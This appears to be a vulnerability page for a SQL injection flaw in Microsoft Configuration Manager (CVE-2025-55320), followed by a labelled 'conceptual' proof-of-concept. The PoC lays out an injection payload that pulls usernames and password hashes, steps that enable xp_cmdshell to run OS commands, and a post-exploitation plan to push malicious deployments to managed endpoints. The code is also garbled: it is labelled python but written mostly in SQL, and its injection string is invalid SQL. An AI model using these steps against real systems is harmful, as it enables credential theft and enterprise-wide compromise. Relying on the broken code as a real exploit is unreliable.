Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an adjacent network.
Microsoft Configuration Manager (所有受支持的版本，建议参考微软官方公告确认具体受影响版本范围)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- CVE-2025-55320 PoC: SQL Injection in Microsoft Configuration Manager
-- This PoC demonstrates the concept of SQL injection via the CM management interface
-- Note: Actual exploitation requires valid high-privilege credentials and adjacent network access
-- Step 1: Identify injectable parameter
-- The vulnerability exists in input handling within Configuration Manager's
-- administrative console or API endpoints that interact with the site database.
-- Step 2: Craft malicious payload
-- Example of a malicious input that could be injected into a vulnerable parameter:
DECLARE @malicious_input NVARCHAR(MAX);
SET @malicious_input = '''; UNION SELECT username, password_hash, 1 FROM v_R_User --';
-- Step 3: The vulnerable code might construct a query like:
-- EXEC sp_executesql N'SELECT * FROM v_R_System WHERE Name = ''' + @user_input + ''''
-- After injection, the query becomes:
-- SELECT * FROM v_R_System WHERE Name = ''; UNION SELECT username, password_hash, 1 FROM v_R_User --'
-- Step 4: Privilege escalation via SQL Server extended procedures
-- After gaining database access, attempt to execute OS commands:
-- EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- EXEC xp_cmdshell 'whoami';
-- Step 5: Post-exploitation
-- Use obtained SYSTEM-level access to:
-- - Extract CM site secrets
-- - Push malicious software deployment policies
-- - Compromise managed endpoints across the enterprise
print('CVE-2025-55320 conceptual PoC - requires authenticated access to CM environment')